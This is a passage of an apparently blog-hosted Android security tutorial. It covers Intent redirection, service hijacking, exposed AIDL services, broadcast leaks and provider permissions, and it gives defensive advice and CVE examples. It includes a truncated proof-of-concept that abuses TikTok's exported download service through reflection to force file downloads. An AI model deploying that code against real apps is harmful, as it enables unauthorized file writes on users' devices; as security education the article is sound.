A2, B2)after , the task stack will be merged from (A1, B1) and (A2, B2) to (A1, B1, A2, B2), that is, in the same task stack Activities of other applications are covered, resulting in phishing scenarios. However, this vulnerability is relatively specialized, so Google has already fixed it a long time ago. For details, please read the following reference articles:</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://promon.co/security-news/the-strandhogg-vulnerability/">The Strand Hogg vulnerability</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://promon.co/resources/downloads/strandhogg-2-0-new-serious-android-vulnerability/">StrandHogg 2.0 – New serious Android vulnerability</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://android.googlesource.com/platform/frameworks/base/+/a952197bd161ac0e03abc6acb5f48e4ec2a56e9d">StrandHogg 2.0 (CVE-2020-0096) fix</a></p></li></ul><h3 id="h-intent-redirection" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Intent Redirection</h3><p>Intent Redirection, as the name implies, forwards the untrusted input passed in by the user, which is similar to the SSRF vulnerability on the server side. An example of a typical vulnerability is as follows:</p><pre data-type="codeBlock" text="protected void onCreate (Bundle savedInstanceState) {
   Intent target = (Intent) getIntent().getParcelableExtra(&quot;target&quot;);
   startActivity(target);
}
"><code>protected void onCreate (Bundle savedInstanceState) {
   Intent target = (Intent) <span class="hljs-built_in">getIntent</span>()<span class="hljs-selector-class">.getParcelableExtra</span>("target");
   <span class="hljs-built_in">startActivity</span>(target);
}
</code></pre><p>ParcelableDirectly Intentconvert the target passed in by the user into an object, and startActivitycall this object as a parameter of . As far as this example is concerned, the possible harm is that the attacker can use arbitrary structured Intent data to start any application in the target APP, even if it is a private application that has not been exported. However, the application whose target is not exported may further parse the parameters in the Intent provided by the attacker to cause further damage, such as executing arbitrary Javascript code in the built-in Webview, or downloading and saving files, etc.</p><p>In fact, Intent Redirection can be used for other interfaces besides possibly starting private Activity components, including:</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.android.com/reference/android/app/Activity#startActivity(android.content.Intent)">startActivity</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.android.com/reference/android/content/Context#startService(android.content.Intent)">startService</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.android.com/reference/android/content/Context#sendBroadcast(android.content.Intent)">sendBroadcast</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.android.com/reference/android/app/Activity#setResult(int,%20android.content.Intent)">setResult</a></p></li></ul><p>Note: Each method may have several derivative methods, such as startActivityForResult</p><p>The first three may be easier to understand, namely start the interface, start the service and send the broadcast. The last setResultmay be ignored during troubleshooting. This is mainly used to return additional data to the caller of the current Activity, mainly used startActivityForResultin scenarios, which may also pollute the user&apos;s untrusted data to the caller.</p><p>From a defensive point of view, it is recommended not to directly send the incoming Intent as a parameter to the above four interfaces. If you must do this, you need to perform sufficient filtering and security verification in advance, such as:</p><ul><li><p>android:exportedSet the component itself to false, but this only prevents the data sent by the user actively, and cannot intercept the data setResultreturned by .</p></li></ul><ul><li><p>Make sure that the obtained is Intentfrom trusted application, such as calling in the component context getCallingActivity().getPackageName().equals(&quot;trust.app&quot;), but pay attention to malicious applications that can getCallingActivityreturn null.</p></li></ul><ul><li><p>Make sure that the to-be-forwarded Intentdoes not have any harmful behavior, such as the component does not point to its own non-exported components, does not contain FLAG_GRANT_READ_URI_PERMISSIONetc. (see ContentProvider vulnerability below for details).</p></li></ul><p>But it turns out that even Google itself may not be able to ensure perfect verification. The high-risk vulnerability recently submitted by Wuheng Lab CVE-2022-20223is a typical example:</p><pre data-type="codeBlock" text="private void assertSafeToStartCustomActivity(Intent intent) {
    // Activity can be started if it belongs to the same app
    if (intent.getPackage() != null &amp;&amp; intent.getPackage().equals(packageName)) {
        return;
    }
    // Activity can be started if intent resolves to multiple activities
    List&lt;ResolveInfo&gt; resolveInfos = AppRestrictionsFragment.this.mPackageManager
            .queryIntentActivities(intent, 0 /* no flags */);
    if (resolveInfos.size() != 1) {
        return;
    }
    // Prevent potential privilege escalation
    ActivityInfo activityInfo = resolveInfos.get(0).activityInfo;
    if (!packageName.equals(activityInfo.packageName)) {
        throw new SecurityException(&quot;Application &quot; + packageName
                + &quot; is not allowed to start activity &quot; + intent);
    }
}
"><code><span class="hljs-keyword">private</span> void assertSafeToStartCustomActivity(Intent intent) {
    <span class="hljs-comment">// Activity can be started if it belongs to the same app</span>
    <span class="hljs-keyword">if</span> (intent.getPackage() <span class="hljs-operator">!</span><span class="hljs-operator">=</span> null <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> intent.getPackage().equals(packageName)) {
        <span class="hljs-keyword">return</span>;
    }
    <span class="hljs-comment">// Activity can be started if intent resolves to multiple activities</span>
    List<span class="hljs-operator">&#x3C;</span>ResolveInfo<span class="hljs-operator">></span> resolveInfos <span class="hljs-operator">=</span> AppRestrictionsFragment.this.mPackageManager
            .queryIntentActivities(intent, <span class="hljs-number">0</span> <span class="hljs-comment">/* no flags */</span>);
    <span class="hljs-keyword">if</span> (resolveInfos.size() <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span>) {
        <span class="hljs-keyword">return</span>;
    }
    <span class="hljs-comment">// Prevent potential privilege escalation</span>
    ActivityInfo activityInfo <span class="hljs-operator">=</span> resolveInfos.get(<span class="hljs-number">0</span>).activityInfo;
    <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>packageName.equals(activityInfo.packageName)) {
        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> SecurityException(<span class="hljs-string">"Application "</span> <span class="hljs-operator">+</span> packageName
                <span class="hljs-operator">+</span> <span class="hljs-string">" is not allowed to start activity "</span> <span class="hljs-operator">+</span> intent);
    }
}
</code></pre><p>Among them, is used ActivityInfo.packageNameto judge whether the package name of the startup target is consistent with the package name of the current caller, but in fact, the explicit Intent is to specify the startup target through componentName, which has a higher priority than Intent.packageNameand the latter can be forged, which causes the check Bypass. There is actually another vulnerability in the above few lines of code. If you are interested, you can refer to the reference link below.</p><p>So, when you come across a potential Intent redirection issue, take a little more time to scrutinize it, and you might be able to find an exploitable scenario.</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://support.google.com/faqs/answer/9267555?hl=en">Remediation for Intent Redirection Vulnerability</a></p></li></ul><h2 id="h-service" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Service</h2><p>Service has two main functions, one is to provide a background long-running environment for APP, and the other is to provide its own services to the outside world. Similar to the definition of Activity, Service must be declared in the manifest before it can be used. Note that the code in the Service also runs on the main thread like the Activity, and is in the process of the application by default.</p><p>According to the distinction between the two main functions of the Service, there are two corresponding forms to start the Service:</p><ul><li><p>Context.startService(): Start the background service and let the system schedule it.</p></li></ul><ul><li><p>Context.bindService(): Let the (external) application bind the service and use the interface it provides, which can be understood as the RPC server.</p></li></ul><p>The life cycle diagram of the two ways to start the service is as follows:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a3549df1cb7ac1e26134133e8cb53ca297e04259315bb2f521ec1621ecd7a26d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>The blue part is called on the client side. After the system receives the request, it will start the corresponding service. If the corresponding process is not started, it will also notify zygote to start it. Regardless of the method used to create the service, the system calls the onCreateand onDestroymethods for it. The overall process is similar to the startup process of Activity, so I won&apos;t go into details here.</p><p>The start-activitycommand to facilitate starting the service:</p><pre data-type="codeBlock" text="am start-service [--user &lt;USER_ID&gt; | current] &lt;INTENT&gt;
"><code>am start<span class="hljs-operator">-</span>service [<span class="hljs-operator">-</span><span class="hljs-operator">-</span>user <span class="hljs-operator">&#x3C;</span>USER_ID<span class="hljs-operator">></span> <span class="hljs-operator">|</span> current] <span class="hljs-operator">&#x3C;</span>INTENT<span class="hljs-operator">></span>
</code></pre><p>Let&apos;s introduce some vulnerabilities related to the Service component.</p><h3 id="h-the-life-cycle" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The Life Cycle</h3><p>The life cycle of Service startup was introduced earlier, which is generally similar to the Activity process, but there are a few differences that need to be noted:</p><ul><li><p>Unlike the Activity life cycle callback method, it is not necessary to call the superclass implementation of the Serivce callback method, such as onCreate, onDestory, etc.</p></li></ul><ul><li><p>ServiceThe direct subclass of the class runs in the main thread, and generally needs to be executed in a new thread when processing multiple blocked requests at the same time.</p></li></ul><ul><li><p>IntentServiceIt is a subclass of Service, designed to run in a Worker thread, and can process multiple blocked Intent requests serially; API-30 will be marked as an obsolete interface after API-30, and it is recommended to use WorkManager or JobIntentService to implement.</p></li></ul><ul><li><p>The client uses stopSelfor stopServiceto stop the binding service, but the server does not have a corresponding onStopcallback , and only receives it before it is destroyed onDestory.</p></li></ul><ul><li><p>The foreground service must provide a notification for the status bar, letting the user realize that the service is running.</p></li></ul><p>For <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.android.com/guide/components/bound-services">bound services</a> , the Android system will automatically destroy the service based on the bound client reference count, but if the service implements a onStartCommand()callback , the service must be explicitly stopped because the system will treat it as a started state. In addition, if the service allows the client to bind again, it needs to implement the onUnbind method and return true, so that the client will receive the same IBinder when it binds next time, as shown in the example diagram below:</p><br><p>The declaration cycle of a service is more complicated than that of an Activity, because it involves the binding relationship between processes, so it is more likely to write unrobust or even problematic code without understanding it.</p><h3 id="h-implicit-export" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Implicit Export</h3><p>Like Activity, Service also needs to be declared with service in the manifest , and also has android:exportedattributes . Even the definition of the default value of this attribute is the same, that is, the default is false, but when the intent-filter is included, the default is true. Similarly, in Android 12 and later, it is also mandatory to explicitly specify the export properties of the service.</p><h3 id="h-service-hijacking" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Service Hijacking</h3><p>Unlike Activity, Android does not recommend using implicit Intents to start services. Because the service runs in the background, there is no visible graphical interface, so the user cannot see which service was started by the implicit Intent, and the sender does not know who the Intent will be received by.</p><p>Service hijacking is a typical vulnerability. An attacker can declare the same intent-filter as the target for his Service and set a higher priority, so that the Intent that should have been sent to the target service can be intercepted. If it contains sensitive information Otherwise, data leakage will occur.</p><p>In , the harm bindServiceof this situation is even more serious, the attacker can pretend to be the target IPC service to return wrong or even harmful data. Therefore, starting from Android 5.0 (API-21), using an implicit Intent to call bindService will directly throw an exception.</p><p>If the target application to be audited is provided in the Service intent-filter, it is necessary to focus on troubleshooting.e</p><h3 id="h-aidl" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">AIDL</h3><p>The binding service can be used as an IPC server. If the server returns an instance of the AIDL interface when binding, it means that the client can call any method of the interface. A practical example is Tiktok ,IndependentProcessDownloadService which returns an instance of the above AIDL interface in onBind:DownloadService</p><pre data-type="codeBlock" text="if (this.downloadServiceHandler != null) {
    return this.downloadServiceHandler.onBind(intent);
}
"><code><span class="hljs-keyword">if</span> (<span class="hljs-built_in">this</span>.downloadServiceHandler <span class="hljs-operator">!</span><span class="hljs-operator">=</span> null) {
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.downloadServiceHandler.onBind(intent);
}
</code></pre><p>And there is a tryDownloadmethod that can specify the url and file path to download and save the file locally. Although the attacker does not have an AIDL file, he can still construct a legal request through reflection to call. The key code in the PoC is as follows:</p><pre data-type="codeBlock" text="rivate ServiceConnection mServiceConnection = new ServiceConnection() {
    public void onServiceConnected(ComponentName cName, IBinder service) {
        processBinder(service);
    }

    public void onServiceDisconnected(ComponentName cName) { }
};

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent intent = new Intent(&quot;com.ss.android.socialbase.downloader.remote&quot;);
    intent.setClassName(
        &quot;com.zhiliaoapp.musically&quot;,
        &quot;com.ss.android.socialbase.downloader.downloader.IndependentProcessDownloadService&quot;);
    bindService(intent, mServiceConnection, BIND_AUTO_CREATE);
}

private void processBinder(IBinder binder) {
    ClassLoader cl = getForeignClassLoader(this, &quot;com.zhiliaoapp.musically&quot;);
    Object handler = cl.loadClass(&quot;com.ss.android.socialbase.downloader.downloader.i$a&quot;)
            .getMethod(&quot;asInterface&quot;, IBinder.class)
            .invoke(null, binder);

    Object payload = getBinder(cl);

    cl.loadClass(&quot;com.ss.android.socialbase.downloader.downloader.i&quot;)
            .getMethod(&quot;tryDownload&quot;, cl.loadClass(&quot;com.ss.android.socialbase.downloader.model.a&quot;))
            .invoke(handler, payload);
}

private Object getBinder(ClassLoader cl) throws Throwable {
    Class utilsClass = cl.loadClass(&quot;com.ss.android.socialbase.downloader.utils.g&quot;);
    Class taskClass = cl.loadClass(&quot;com.ss.android.socialbase.downloader.model.DownloadTask&quot;);
    return utilsClass.getDeclaredMethod(&quot;convertDownloadTaskToAidl&quot;, taskClass)
            .invoke(null, getDownloadTask(taskClass, cl));
"><code>rivate ServiceConnection mServiceConnection <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> ServiceConnection() {
    <span class="hljs-keyword">public</span> void onServiceConnected(ComponentName cName, IBinder service) {
        processBinder(service);
    }

    <span class="hljs-keyword">public</span> void onServiceDisconnected(ComponentName cName) { }
};

protected void onCreate(Bundle savedInstanceState) {
    <span class="hljs-built_in">super</span>.onCreate(savedInstanceState);

    Intent intent <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Intent(<span class="hljs-string">"com.ss.android.socialbase.downloader.remote"</span>);
    intent.setClassName(
        <span class="hljs-string">"com.zhiliaoapp.musically"</span>,
        <span class="hljs-string">"com.ss.android.socialbase.downloader.downloader.IndependentProcessDownloadService"</span>);
    bindService(intent, mServiceConnection, BIND_AUTO_CREATE);
}

<span class="hljs-keyword">private</span> void processBinder(IBinder binder) {
    ClassLoader cl <span class="hljs-operator">=</span> getForeignClassLoader(<span class="hljs-built_in">this</span>, <span class="hljs-string">"com.zhiliaoapp.musically"</span>);
    Object handler <span class="hljs-operator">=</span> cl.loadClass(<span class="hljs-string">"com.ss.android.socialbase.downloader.downloader.i$a"</span>)
            .getMethod(<span class="hljs-string">"asInterface"</span>, IBinder.class)
            .invoke(null, binder);

    Object payload <span class="hljs-operator">=</span> getBinder(cl);

    cl.loadClass(<span class="hljs-string">"com.ss.android.socialbase.downloader.downloader.i"</span>)
            .getMethod(<span class="hljs-string">"tryDownload"</span>, cl.loadClass(<span class="hljs-string">"com.ss.android.socialbase.downloader.model.a"</span>))
            .invoke(handler, payload);
}

<span class="hljs-keyword">private</span> Object getBinder(ClassLoader cl) throws Throwable {
    Class utilsClass <span class="hljs-operator">=</span> cl.loadClass(<span class="hljs-string">"com.ss.android.socialbase.downloader.utils.g"</span>);
    Class taskClass <span class="hljs-operator">=</span> cl.loadClass(<span class="hljs-string">"com.ss.android.socialbase.downloader.model.DownloadTask"</span>);
    <span class="hljs-keyword">return</span> utilsClass.getDeclaredMethod(<span class="hljs-string">"convertDownloadTaskToAidl"</span>, taskClass)
            .invoke(null, getDownloadTask(taskClass, cl));
</code></pre><p>The key is to use Context.getForeignClassLoaderto get the ClassLoader of other applications.</p><p>Vulnerability details reference: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://blog.oversecured.com/Oversecured-detects-dangerous-vulnerabilities-in-the-TikTok-Android-app/#vulnerability-via-independentprocessdownloadservice-aidl-interface">vulnerabilities in the TikTok Android app</a></p><h3 id="h-intent-redirect" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Intent Redirect</h3><p>This is actually similar to the corresponding vulnerability in the Activity. When the client starts/binds the Service, it also specifies an implicit or explicit Intent. If the untrusted data is used by the server as a parameter to start other components, there will be May cause the same Intent redirection problem. Note that there are other data sources getIntent()besides , such as onHandleIntentthe parameters implemented in the service.</p><p>In fact, the &quot;LaunchAnywhere&quot; vulnerability that first proposed the harm of Intent redirection comes from the system service, and it is AccountManagerServicea . The normal execution flow of AccountManager is:</p><ul><li><p>A common application (denoted as A) requests to add a certain type of account, calling AccountManager.addAccount.</p></li></ul><ul><li><p>AccountManager will look for the Authenticator class of the application (denoted as B) that provides the account.</p></li></ul><ul><li><p>AccountManager calls B&apos;s Authenticator.addAccount method.</p></li></ul><ul><li><p>AccountManager invokes B&apos;s account login interface (AccountManagerResponse.getParcelable) according to the Intent returned by B.</p></li></ul><p>In step 4, the system thinks that the data returned by B points to B&apos;s login interface, but in fact B can make it point to other components, even system components, which creates an Intent redirection vulnerability. The source of Intent here is rather tortuous, but the essence is still controllable by the attacker.</p><p>For details about this vulnerability and the exploit process, please refer to: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://retme.net/index.php/2014/08/20/launchAnyWhere.html">launchAnyWhere: Activity Component Permission Bypass Vulnerability Analysis (Google Bug 7699048 )</a></p><h2 id="h-receiver" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Receiver</h2><p>Broadcast Receiver , receiver for short, is the broadcast receiver. The linkage between Activity and Service described above is one-to-one, and in many cases we may want one-to-many or many-to-many communication solutions, and broadcasting assumes this function. For example, the Android system itself will send broadcast notifications to all interested applications when various events occur, such as turning on airplane mode, network status changes, low battery, and so on. This is a typical publish/subscribe design pattern, as is the carrier of broadcast data Intent.</p><p>Different from the previous Activity and Service, Receiver can be declared and registered in the manifest, which is called static registration; it can also be registered dynamically during the running of the application. But in any case, the defined broadcast receiver must inherit from <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.android.com/reference/android/content/BroadcastReceiver">BroadcastReceiver</a> and implement its life cycle method onReceive(context, intent).</p><p>Note that the parent class of BroadcastReceiver is Object, unlike Activity and Service which are Context, so onReceive will also pass in an additional context object.</p><p>The command to send a broadcast in the shell is as follows:</p><pre data-type="codeBlock" text="am broadcast [--user &lt;USER_ID&gt; | all | current] &lt;INTENT&gt;
"><code>am broadcast [<span class="hljs-operator">-</span><span class="hljs-operator">-</span>user <span class="hljs-operator">&#x3C;</span>USER_ID<span class="hljs-operator">></span> <span class="hljs-operator">|</span> all <span class="hljs-operator">|</span> current] <span class="hljs-operator">&#x3C;</span>INTENT<span class="hljs-operator">></span>
</code></pre><p>Here are some frequently asked questions in order.</p><h3 id="h-implicit-export" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Implicit Export</h3><p>There is nothing special about using statically registered receivers, examples are as follows:</p><pre data-type="codeBlock" text="&lt;receiver android:name=&quot;.MyBroadcastReceiver&quot;  android:exported=&quot;true&quot;&gt;
    &lt;intent-filter&gt;
        &lt;action android:name=&quot;android.intent.action.BOOT_COMPLETED&quot;/&gt;
        &lt;action android:name=&quot;android.intent.action.INPUT_METHOD_CHANGED&quot; /&gt;
    &lt;/intent-filter&gt;
&lt;/receiver&gt;
"><code><span class="hljs-operator">&#x3C;</span>receiver android:name<span class="hljs-operator">=</span><span class="hljs-string">".MyBroadcastReceiver"</span>  android:exported<span class="hljs-operator">=</span><span class="hljs-string">"true"</span><span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span>intent<span class="hljs-operator">-</span>filter<span class="hljs-operator">></span>
        <span class="hljs-operator">&#x3C;</span>action android:name<span class="hljs-operator">=</span><span class="hljs-string">"android.intent.action.BOOT_COMPLETED"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
        <span class="hljs-operator">&#x3C;</span>action android:name<span class="hljs-operator">=</span><span class="hljs-string">"android.intent.action.INPUT_METHOD_CHANGED"</span> <span class="hljs-operator">/</span><span class="hljs-operator">></span>
    <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>intent<span class="hljs-operator">-</span>filter<span class="hljs-operator">></span>
<span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span>receiver<span class="hljs-operator">></span>
</code></pre><p>There is also the same default export problem as before. I believe everyone is tired of seeing it, so I won’t be verbose anymore. Then look at the dynamic registration situation, such as:</p><pre data-type="codeBlock" text="BroadcastReceiver br = new MyBroadcastReceiver();
IntentFilter filter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION);
filter.addAction(Intent.ACTION_AIRPLANE_MODE_CHANGED);
this.registerReceiver(br, filter);
"><code>BroadcastReceiver br <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> MyBroadcastReceiver();
IntentFilter filter <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION);
filter.addAction(Intent.ACTION_AIRPLANE_MODE_CHANGED);
<span class="hljs-built_in">this</span>.registerReceiver(br, filter);
</code></pre><p>It may be easier to ignore the issue of export permissions with dynamic registration than with definitions in the manifest. The above code snippet dynamically registers a broadcast, but does not explicitly declare the exported attribute, so it is exported by default. In fact, there seems to be no easy way to set up using registerReceiver exported=false, and Google&apos;s official suggestion is LocalBroadcastManager.registerReceiverto , or specify the permission when registering.</p><p>For the case of specifying the permission permission, if it is a custom permission, it needs to be declared in the application manifest, for example:</p><pre data-type="codeBlock" text="&lt;permission android:name=&quot;com.evilpan.MY_PERMISSION&quot;
    android:protectionLevel=&quot;signature&quot;/&gt;
&lt;uses-permission android:name=&quot;com.evilpan.MY_PERMISSION&quot; /&gt;
"><code><span class="hljs-operator">&#x3C;</span>permission android:name<span class="hljs-operator">=</span><span class="hljs-string">"com.evilpan.MY_PERMISSION"</span>
    android:protectionLevel<span class="hljs-operator">=</span><span class="hljs-string">"signature"</span><span class="hljs-operator">/</span><span class="hljs-operator">></span>
<span class="hljs-operator">&#x3C;</span>uses<span class="hljs-operator">-</span>permission android:name<span class="hljs-operator">=</span><span class="hljs-string">"com.evilpan.MY_PERMISSION"</span> <span class="hljs-operator">/</span><span class="hljs-operator">></span>
</code></pre><p>signature Indicates a permission that the system will only grant if the app requesting authorization is signed with the same certificate as the app declaring the permission. If the certificates match, permissions are automatically granted without notifying the user or asking for their explicit permission. See protectionLevel for <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://developer.android.com/reference/android/R.attr#protectionLevel">details</a>.</p><p>Finally, specify this permission during dynamic registration:</p><pre data-type="codeBlock" text="this.registerReceiver(br, filter, &quot;com.evilpan.MY_PERMISSION&quot;, null);
"><code><span class="hljs-keyword">this</span>.registerReceiver(br, filter, <span class="hljs-string">"com.evilpan.MY_PERMISSION"</span>, <span class="hljs-literal">null</span>);
</code></pre><p>Registering an export broadcast receiver without permission restrictions will result in receiving malicious data forged by the attacker. If the verification is not done properly during onReceive, there may be vulnerabilities such as unauthorized access or Intent redirection, causing further security hazards.</p><p>There are many security issues of this kind, and a typical example is the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://paper.seebug.org/1050/">PpmtReceiver vulnerability</a> used to break through the Samsung Galaxy S8 on Pwn2Own .</p><h3 id="h-information-leakage" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Information Leakage</h3><p>The above is mainly to set permissions from the perspective of restricting broadcast senders, but in fact this permission can also restrict broadcast receivers, but additional designation is required when sending messages, for example, if you want only receivers with the above permissions to receive broadcast, the sending code is as follows:</p><pre data-type="codeBlock" text="Intent it = new Intent(this, ...);
it.putExtra(&quot;secret&quot;, &quot;chicken2beautiful&quot;)
sendBroadcast(it, &quot;com.evilpan.MY_PERMISSION&quot;);
"><code>Intent it <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Intent(<span class="hljs-built_in">this</span>, ...);
it.putExtra(<span class="hljs-string">"secret"</span>, <span class="hljs-string">"chicken2beautiful"</span>)
sendBroadcast(it, <span class="hljs-string">"com.evilpan.MY_PERMISSION"</span>);
</code></pre><p>If there is no second parameter, the default is that all recipients that meet the conditions can receive the broadcast information. At this time, if the sent Intent contains sensitive data, it may cause information leakage.</p><p>A practical case is<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wwws.nightwatchcybersecurity.com/2018/11/11/cve-2018-9581/"> CVE-2018-9581</a> The system carries sensitive data RSSI when broadcasting android.net.wifi.RSSI_CHANGED. This broadcast can be received by all applications, which indirectly leads to the leakage of physical location information. (funny?)</p><p>It can be seen that for Broadcast Receiver, the role of the permission tag is particularly obvious. For system broadcasts, for example BOOT_COMPLETED, usually only system apps have permission to send them. This is defined in the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://android.googlesource.com/platform/frameworks/base/+/master/core/res/AndroidManifest.xml">AndroidManifest.xml of the framework</a> .</p><p>As for the custom broadcast of the application, the above-mentioned custom permissions are usually used, so a question naturally comes to mind, what happens if multiple applications define the same permission? In fact, this is a historical vulnerability. In the early days of Android, the strategy was to give priority to the first defined permission, but after Andorid 5, it has been clearly defined that two applications have different definitions of the same permission (unless they have the same signature), otherwise Apps installed later will show INSTALL_FAILED_DUPLICATE_PERMISSIONan error warning. Interested archaeologists can refer to the following related articles:</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/commonsguy/cwac-security/blob/master/PERMS.md">Vulnerabilities with Custom Permissions</a></p></li></ul><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://commonsware.com/blog/2014/08/04/custom-permission-vulnerability-l-developer-preview.html">Custom Permission Vulnerability and the &apos;L&apos; Developer Preview</a></p></li></ul><h3 id="h-intent-redirection" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Intent Redirection</h3><p>Not much to say about the principle, just look at the case. The vulnerability lies in Tiktok NotificationBroadcastReceiver, which defines the intent-filter, which causes the component to be set as export by default, so it can receive the broadcast of external applications, and directly use the untrusted data in the broadcast to start the Activity, as follows:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ef542ac268ca6176a7382cd52cfabdd0962afc0e0f18de208d6876c6b1fbffb3.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Vulnerability details can refer to: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://blog.oversecured.com/Oversecured-detects-dangerous-vulnerabilities-in-the-TikTok-Android-app/">Oversecured detects dangerous vulnerabilities in the TikTok Android app</a></p><h2 id="h-contentprovider" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">ContentProvider</h2><p>Content Provider , the content provider, referred to as Provider. Android applications are usually implemented as an MVC structure (Model-View-Controller), and the Model part is the data source for its own View, or graphical interface, to display. But sometimes an application will want to provide its own data for other data to use, or obtain data from other applications.</p><p>To define a ContentProvider, you only need to inherit from the ContentProvider class and implement six methods: query, insert, update, delete, getTypeand onCreate. Among them, except onCreate is called by the system in the main thread, other methods are actively called by the client program. A custom provider must be declared in the program list, which will be described in detail later.</p><p>It can be seen that the Provider mainly implements the database-like addition, deletion, modification and query interface. From the perspective of the client, the query process is similar to querying the traditional database. For example, the following is the code snippet for querying the system SMS:</p><pre data-type="codeBlock" text="Cursor cursor = getContentResolver().query(
    Telephony.Sms.Inbox.CONTENT_URI,           
    new String[] { Telephony.Sms.Inbox.BODY }, 
    selectionClause,                           
    selectionArgs,                             
    Telephony.Sms.Inbox.DEFAULT_SORT_ORDER);   
while (cursor.moveToNext()) {
    Log.i(TAG, &quot;msg: &quot; + cursor.getString(0));
}
"><code>Cursor cursor <span class="hljs-operator">=</span> getContentResolver().query(
    Telephony.Sms.Inbox.CONTENT_URI,           
    <span class="hljs-keyword">new</span> String[] { Telephony.Sms.Inbox.BODY }, 
    selectionClause,                           
    selectionArgs,                             
    Telephony.Sms.Inbox.DEFAULT_SORT_ORDER);   
<span class="hljs-keyword">while</span> (cursor.moveToNext()) {
    Log.i(TAG, <span class="hljs-string">"msg: "</span> <span class="hljs-operator">+</span> cursor.getString(<span class="hljs-number">0</span>));
}
</code></pre><p>Among them ContentResolveris ContentInterfacethe subclass, which is the client remote interface of ContentProvider, which can implement its transparent remote proxy invocation. content_uriCan be regarded as the table name of the query, projectioncan be regarded as the column name, and the returned cursor is the iterator of the query result row.</p><p>Unlike the previous three components, the tool for accessing the provider component in the shell is content.</p><p>Let&apos;s introduce the common problems in Provider.</p><h3 id="h-permissions" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Permissions</h3><p>In view of the provider as a data carrier, security access and permission control are naturally the top priority. For example, in the above code example, the interface for accessing SMS, if everyone can access it at will, it will obviously cause information leakage. As briefly mentioned earlier, the Provider defined in the application must be declared in its program manifest file, using the provider tag. Among them are our common exportedattributes , indicating whether it can be accessed externally, and permissionattributes indicating the permissions required for access. Of course, different permissions can be used for reading and writing, such as readPermission/ writePermissionattributes.</p><p>For example, the SMS database mentioned above is declared as follows:</p><pre data-type="codeBlock" text="&lt;provider android:name=&quot;SmsProvider&quot;
    android:authorities=&quot;sms&quot;
    android:multiprocess=&quot;false&quot;
    android:exported=&quot;true&quot;
    android:singleUser=&quot;true&quot;
    android:readPermission=&quot;android.permission.READ_SMS&quot; /&gt;
"><code>&#x3C;provider android:<span class="hljs-attr">name</span>=<span class="hljs-string">"SmsProvider"</span>
